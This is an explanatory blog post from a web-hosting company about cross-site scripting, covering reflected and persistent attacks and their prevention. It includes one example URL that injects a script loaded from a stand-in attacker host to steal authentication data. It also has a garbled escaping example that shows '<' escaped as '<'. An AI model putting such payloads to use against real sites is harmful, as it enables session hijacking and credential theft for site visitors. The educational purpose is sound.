Recently we highlighted the risks posed by SQL injection. The other major type of injection attack is known as cross-site scripting or XSS.
To understand cross-site scripting, you have to look back at the history of the internet. In the early days of the World Wide Web, most websites were simple text documents formatted in HTML. But as the web grew larger and more complex, dynamic programming languages were developed to achieve more advanced functionality.
Powerful tools like JavaScript allowed developers to build highly interactive web pages that could behave dynamically to quickly and efficiently meet the needs of users. But with great power comes great responsibility, and it wasn’t long before extremely irresponsible characters found a way to exploit this newfound functionality for their own nefarious ends.
How cross-site scripting works
A cross-site scripting attack involves the insertion of malicious code – written in a dynamic language like JavaScript – into a website or application. This can be done anywhere that allows user input, like in a form or search box. However, the intended victim isn’t the website itself, but the user who visits it.
By smuggling the offending code into what would under normal circumstances be a trusted source, XSS exploits the ‘same-origin policy’ – a common model in web applications that means a web browser will allow scripts on one web page to access data on another page, as long as both share the same origin (such as a hostname or port number).
When a user accesses the infected content, the malicious code is executed in their browser. Because the browser assumes the script comes from a trusted source, it’s allowed to do basically whatever it wants, even if that includes forwarding browser data from the user to the attacker.
Attackers can create malicious code to achieve a variety of aims, from gaining access to the user’s browser history, cookies and session tokens, to stealing their login details with keylogging. And often, the page looks completely legit, so the user is left none the wiser.
The question is, how does the attacker inject the code into the target site? To answer this, you need to examine the two main cross-site scripting methods: reflected and persistent.
Reflected cross-site scripting
Reflected or non-persistent cross-site scripting is the most common form of XSS. These attacks rely on the victim clicking on a link that includes the malicious code, for example:
http://mywebsite.org?q=puppies<script%20src="http://hackerswebsite.com/authstealer.js">
Usually the user is tricked into thinking the link is from a legitimate source, such as (what looks like) an official email. It’s also possible for the attacker to encode the link to look much less suspicious.
The user is then redirected to the web page where the script is automatically executed. If the script has been designed to do so, it can give the hacker access to the user’s login area, allowing them to steal login info and potentially even gain access to payment details.
Reflective XSS is called ‘reflective’ because the harmful code comes from the user’s browser and is reflected back towards them from the website or application. The alternative is for the attacker to inject code directly into the site, as explained below.
Persistent cross-site scripting
A persistent attack is a more dangerous type of XSS, as the script code submitted by the hacker is saved on the server and executed every time the compromised page is visited.
Common vulnerabilities include comment forms and forum posts where user input is not properly verified. By inserting harmful script, hackers can collect information about logged-in users and hijack their accounts.
Unlike a reflective attack, the malicious code has already been injected into the site or application by the attacker, and the victim doesn’t need to click a link, they just need to view the page.
This type of attack is more dangerous because it doesn’t rely on the user being redirected from another website – all they have to do is stumble across the affected content, and the script executes automatically.
How cross-site scripting can be prevented
As one of the primary online security risks, prevention of XSS should be a top priority for anyone running a website.
The long-term effects of an attack can be devastating, from reputation damage and loss of customers, to penalties in search results and serious financial consequences. Even if your site is an unwitting accomplice, you’re responsible for any security holes that allow XSS to happen in the first place.
So what can you do?
Use character escaping
Character escaping is the main method of XSS protection. This basically tells the browser that data should not be interpreted as any kind of programming language. For example, the ‘<’ character used in HTML tags is ‘escaped’ as ‘<’.
But escaping all of your content can be tricky if you need some legitimate scripts to run for your web pages to work properly. The trick is remembering to implement character escaping anywhere on your site that could be vulnerable to cross-site scripting.
Filter for XSS
To be a threat, cross-site scripting needs some form of user input. To protect yourself, you can pass all external data through a filter that removes any potentially dangerous keyword, such as the <SCRIPT> tag that embeds executable scripts.
Developers will often have their own preferred filters for XSS, but the most important thing is to find one from a reliable source that’s regularly updated.
While cross-site scripting is a very real threat, the good news is that there are plenty of resources available to help you guard against it. And with Fasthosts, you have access to a wide range of platforms with everything you need to build your secure websites and applications.
